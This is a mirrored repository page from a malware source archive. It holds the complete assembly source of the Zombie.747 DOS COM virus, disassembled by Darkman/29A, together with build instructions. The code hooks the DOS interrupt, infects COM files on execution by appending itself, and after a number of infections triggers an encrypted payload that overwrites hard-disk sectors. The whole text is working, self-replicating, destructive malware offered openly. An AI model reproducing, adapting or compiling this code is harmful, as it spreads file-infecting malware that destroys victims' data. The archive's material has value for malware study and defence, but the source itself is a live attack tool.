mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
338 lines
13 KiB
NASM
338 lines
13 KiB
NASM
|
Zombie
|
||
|
|
||
|
|
||
|
Disassembly by Darkman/29A
|
||
|
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
|
||
|
load and execute program, except COMMAND.COM, by appending the virus to the
|
||
|
infected COM file.
|
||
|
To compile Zombie.747 with Turbo Assembler v 4.0 type:
|
||
|
TASM /M ZOMBI747.ASM
|
||
|
TLINK /t /x ZOMBI747.OBJ
|
||
|
|
||
|
|
||
|
.model tiny
|
||
|
.code
|
||
|
org 100h ; Origin of Zombie.747
|
||
|
code_begin:
|
||
|
call crypt_virus
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
virus_begin:
|
||
|
call delta_offset
|
||
|
delta_offset:
|
||
|
pop bp ; Load BP from stack
|
||
|
sub bp,03h ; BP = delta offset
|
||
|
jmp virus_begin_
|
||
|
stack_end:
|
||
|
stack_ db 7ah dup(?) ; Stack
|
||
|
stack_begin:
|
||
|
int21_addr dd ? ; Address of interrupt 21h
|
||
|
virus_seg dw ? ; Segment of virus
|
||
|
stack_seg dw ? ; Stack segment
|
||
|
stack_ptr dw ? ; Stack pointer
|
||
|
infect_off dw offset infect_file-offset virus_begin
|
||
|
infect_mark db 04h dup(?) ; infection mark
|
||
|
infect_count dw ? ; Infection counter
|
||
|
virus_offset equ word ptr $+01h ; Offset of virus
|
||
|
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
|
||
|
origin_code db 0cdh,20h,? ; Original code of infected file
|
||
|
code_begin_ dw 100h ; Offset of beginning of code
|
||
|
int21_virus proc near ; Interrupt 21h of Zombie.747
|
||
|
pushf ; Save flags at stack
|
||
|
cmp ax,4b00h ; Load and execute program?
|
||
|
je load_and_exe ; Equal? Jump to load_and_exe
|
||
|
cmp ax,4b69h ; Zombie.747 function?
|
||
|
je virus_functi ; Equal? Jump to virus_functi
|
||
|
popf ; Load flags from stack
|
||
|
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
|
||
|
endp
|
||
|
virus_functi:
|
||
|
mov bx,ax ; Already resident
|
||
|
popf ; Load flags from stack
|
||
|
iret ; Interrupt return!
|
||
|
load_and_exe:
|
||
|
mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
|
||
|
call setup_stack
|
||
|
popf ; Load flags from stack
|
||
|
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
|
||
|
setup_stack proc near ; Setup stack of the virus
|
||
|
mov cs:[offset stack_seg-offset virus_begin],ss
|
||
|
mov cs:[offset stack_ptr-offset virus_begin],sp
|
||
|
mov ss,cs:[offset virus_seg-offset virus_begin]
|
||
|
mov sp,offset stack_begin-offset virus_begin
|
||
|
push ax bx cx dx es ds si di bp
|
||
|
call cs:[offset infect_off-offset virus_begin]
|
||
|
cmp word ptr cs:[offset infect_count-offset virus_begin],10h
|
||
|
jbe load_stack ; Below or equal? Jump to load_stack
|
||
|
call payload
|
||
|
load_stack:
|
||
|
pop bp di si ds es dx cx bx ax
|
||
|
mov ss,cs:[offset stack_seg-offset virus_begin]
|
||
|
mov sp,cs:[offset stack_ptr-offset virus_begin]
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
payload proc near ; Payload of the virus
|
||
|
mov si,offset crypt_begin-offset virus_begin
|
||
|
mov cx,(crypt_end-crypt_begin)
|
||
|
decrypt_loop:
|
||
|
not byte ptr [si] ; Decrypt a byte
|
||
|
inc si ; Increase index register
|
||
|
loop decrypt_loop
|
||
|
crypt_begin:
|
||
|
mov ax,303h ; Write disk sector(s)
|
||
|
db 31h,0dbh ; XOR BX,BX
|
||
|
mov es,bx ; ES:BX = pointer to data buffer
|
||
|
mov cx,02h ; CX = sector- and cylinder number
|
||
|
mov dx,80h ; DX = drive- and head number
|
||
|
int 13h
|
||
|
crypt_end:
|
||
|
mov si,offset crypt_begin-offset virus_begin
|
||
|
mov cx,(crypt_end-crypt_begin)
|
||
|
encrypt_loop:
|
||
|
not byte ptr [si] ; Encrypt a byte
|
||
|
inc si ; Increase index register
|
||
|
loop encrypt_loop
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
examine_file proc near ; Examine file
|
||
|
cld ; Clear direction flag
|
||
|
find_dot:
|
||
|
lodsb ; AL = byte of filename
|
||
|
cmp al,'.' ; Found the dot in the filename
|
||
|
je examine_fil_ ; Equal? Jump to examine_fil_
|
||
|
or al,al ; End of filename?
|
||
|
loopnz find_dot ; Not zero? Jump to find_dot
|
||
|
jz examine_exit ; Zero? Jump to examine_exit
|
||
|
examine_fil_:
|
||
|
mov ax,[si-06h] ; AX = word of filename
|
||
|
or ax,2020h ; Lowcase word of filename
|
||
|
cmp ax,'mm' ; COMMAND.COM?
|
||
|
je examine_exit ; Equal? Jump to examine_exit
|
||
|
lodsw ; AX = word of extension
|
||
|
or ax,2020h ; Lowcase word of extension
|
||
|
cmp ax,'oc' ; Correct extension?
|
||
|
jne examine_exit ; Not equal? Jump to examine_exit
|
||
|
lodsb ; AL = byte of extension
|
||
|
or al,20h ; Lowcase byte of extension
|
||
|
cmp al,'m' ; Correct extension?
|
||
|
jne examine_exit ; Not equal? Jump to examine_exit
|
||
|
clc ; Clear carry flag
|
||
|
ret ; Return!
|
||
|
examine_exit:
|
||
|
stc ; Set carry flag
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
set_file_pos proc near ; Set current file position
|
||
|
xor cx,cx ; Zero CX
|
||
|
or dx,dx ; Zero DX?
|
||
|
jns set_file_po_ ; Positive? Jump to set_file_po_
|
||
|
not cx ; Invert each bit of low-order wor...
|
||
|
set_file_po_:
|
||
|
mov ah,42h ; Set current file position
|
||
|
int 21h
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
infect_file proc near ; Infect COM file
|
||
|
mov si,dx ; SI = offset of filename
|
||
|
call examine_file
|
||
|
jnc open_file ; No error? Jump to open_file
|
||
|
jmp infect_exit_
|
||
|
open_file:
|
||
|
mov ax,3d02h ; Open file (read/write)
|
||
|
int 21h
|
||
|
jnc read_file ; No error? Jump to read_file
|
||
|
jmp infect_exit_
|
||
|
read_file:
|
||
|
mov bx,ax ; BX = file handle
|
||
|
mov dx,cs ; DX = code segment
|
||
|
mov ds,dx ; DS " " "
|
||
|
mov ah,3fh ; Read from file
|
||
|
mov cx,03h ; Read three bytes
|
||
|
mov dx,offset origin_code-offset virus_begin
|
||
|
int 21h
|
||
|
jnc examine_mark ; No error? Jump to examine_mark
|
||
|
jmp close_file
|
||
|
examine_mark:
|
||
|
mov dx,-28h ; DX = low-order word of offset fr...
|
||
|
mov al,02h ; Set current file position (EOF)
|
||
|
call set_file_pos
|
||
|
jc close_file ; Error? Jump to close_file
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov ah,3fh ; Read from file
|
||
|
mov cx,04h ; Read four bytes
|
||
|
mov dx,offset infect_mark-offset virus_begin
|
||
|
int 21h
|
||
|
jc close_file ; Error? Jump to close_file
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
|
||
|
jne calc_offset ; Not equal? Jump to calc_offset
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
|
||
|
je close_file ; Previosly infected? Jump to clos...
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
calc_offset:
|
||
|
xor dx,dx ; Zero DX
|
||
|
mov al,02h ; Set current file position (EOF)
|
||
|
call set_file_pos
|
||
|
jc close_file ; Error? Jump to close_file
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
sub ax,03h ; AX = offset of virus
|
||
|
mov ds:[offset virus_offset-offset virus_begin],ax
|
||
|
mov ax,5700h ; Get file's date and time
|
||
|
int 21h
|
||
|
push cx dx ; Save registers at stack
|
||
|
mov ah,40h ; Write to file
|
||
|
mov cx,(code_end-virus_begin)
|
||
|
xor dx,dx ; Zero DX
|
||
|
int 21h
|
||
|
jc infect_exit ; Error? Jump to infect_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
cmp cx,ax ; Written all of the virus?
|
||
|
jne infect_exit ; Not equal? Jump to infect_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov al,00h ; Set current file position (SOF)
|
||
|
xor dx,dx ; Zero DX
|
||
|
call set_file_pos
|
||
|
jc infect_exit ; Error? Jump to infect_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov ah,40h ; Write to file
|
||
|
mov cx,03h ; Write three bytes
|
||
|
mov dx,offset infect_code-offset virus_begin
|
||
|
int 21h
|
||
|
jc infect_exit ; Error? Jump to infect_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
infect_exit:
|
||
|
inc word ptr cs:[offset infect_count-offset virus_begin]
|
||
|
mov ax,5701h ; Set file's date and time
|
||
|
pop dx cx ; Load registers from stack
|
||
|
int 21h
|
||
|
close_file:
|
||
|
mov ah,3eh ; Close file
|
||
|
int 21h
|
||
|
infect_exit_:
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
get_psp_own proc near ; Get PSP segment of owner or spec...
|
||
|
mov ah,52h ; Get list of lists
|
||
|
int 21h
|
||
|
mov bx,es:[bx-02h] ; BX = segment of first memory con...
|
||
|
mov es,bx ; ES = " " " " "
|
||
|
mov bx,es:[01h] ; BX = PSP segment of owner or spe...
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
allocate_mem proc near ; Allocate memory
|
||
|
push es ; Save ES at stack
|
||
|
mov ax,cs ; AX = segment of PSP for current ...
|
||
|
dec ax ; AX = segment of Memory Control B...
|
||
|
mov es, ax ; ES = " " " " "
|
||
|
mov bx,es:[03h] ; BX = size of memory block in par...
|
||
|
pop es ; Load ES from stack
|
||
|
sub bx,cx ; Subtract number of paragraphs to...
|
||
|
dec bx ; BX = new size in paragraphs
|
||
|
mov ah,4ah ; Resize memory block
|
||
|
int 21h
|
||
|
jc allocat_exit ; Error? Jump to allocat_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov ah,48h ; Allocate memory
|
||
|
mov bx,cx ; BX = number of paragraphs to all...
|
||
|
int 21h
|
||
|
jc allocat_exit ; Error? Jump to allocat_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
push ax ; Save AX at stack
|
||
|
dec ax ; AX = segment of Memory Control B...
|
||
|
mov es,ax ; ES = " " " " "
|
||
|
push es ; Save ES at stack
|
||
|
call get_psp_own
|
||
|
pop es ; Load ES from stack
|
||
|
mov es:[01h],bx ; Store PSP segment of owner or sp...
|
||
|
pop es ; Load ES from stack
|
||
|
clc ; Clear carry flag
|
||
|
allocat_exit:
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
virus_begin_:
|
||
|
mov ax,4b69h ; Zombie.747 function
|
||
|
xor bx,bx ; Zero BX
|
||
|
int 21h
|
||
|
cmp bx,4b69h ; Already resident?
|
||
|
je virus_exit ; Equal? Jump to virus_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov cx,(data_end-virus_begin+0fh)/10h
|
||
|
call allocate_mem
|
||
|
jc virus_exit ; Error? Jump to virus_exit
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
mov si,bp ; SI = delta offset
|
||
|
xor di,di ; Zero DI
|
||
|
mov cx,(code_end-virus_begin)
|
||
|
cld ; Clear direction flag
|
||
|
rep movsb ; Move virus to top of memory
|
||
|
mov es:[offset virus_seg-offset virus_begin],es
|
||
|
push es ; Save ES at stack
|
||
|
mov ax,3521h ; Get interrupt vector 21h
|
||
|
int 21h
|
||
|
mov dx,es ; DX = segment of interrupt 21h
|
||
|
pop es ; Load ES from stack
|
||
|
mov word ptr es:[offset int21_addr-offset virus_begin],bx
|
||
|
mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
|
||
|
mov ax,2521h ; Set interrupt vector 21h
|
||
|
push es ; Save ES at stack
|
||
|
pop ds ; Load DS from stack (ES)
|
||
|
mov dx,offset int21_virus-offset virus_begin
|
||
|
int 21h
|
||
|
virus_exit:
|
||
|
mov ax,cs ; AX = segment of PSP for current ...
|
||
|
mov ds,ax ; DS = " " " " " "
|
||
|
mov es,ax ; ES = " " " " " "
|
||
|
lea si,origin_code ; SI = offset of origin_code
|
||
|
sub si,offset virus_begin
|
||
|
add si,bp ; Add delta offset to offset of co...
|
||
|
mov di,100h ; DI = offset of beginning of code
|
||
|
mov cx,03h ; Move three bytes
|
||
|
cld ; Clear direction flag
|
||
|
rep movsb ; Move the original code to beginning
|
||
|
lea bx,code_begin_ ; BX = offset of code_begin_
|
||
|
sub bx,offset virus_begin
|
||
|
add bx,bp ; Add delta offset to offset of co...
|
||
|
jmp [bx]
|
||
|
db 'Zombie - Danish woodoo hackers (14AUG91)'
|
||
|
code_end:
|
||
|
data_end:
|
||
|
crypt_virus proc ; Encrypt payload of the virus
|
||
|
lea si,crypt_begin ; SI = offset of crypt_begin
|
||
|
mov cx,(crypt_end-crypt_begin)
|
||
|
crypt_loop:
|
||
|
not byte ptr [si] ; Encrypt a byte
|
||
|
inc si ; Increase index register
|
||
|
loop crypt_loop
|
||
|
ret ; Return!
|
||
|
endp
|
||
|
end code_begin
|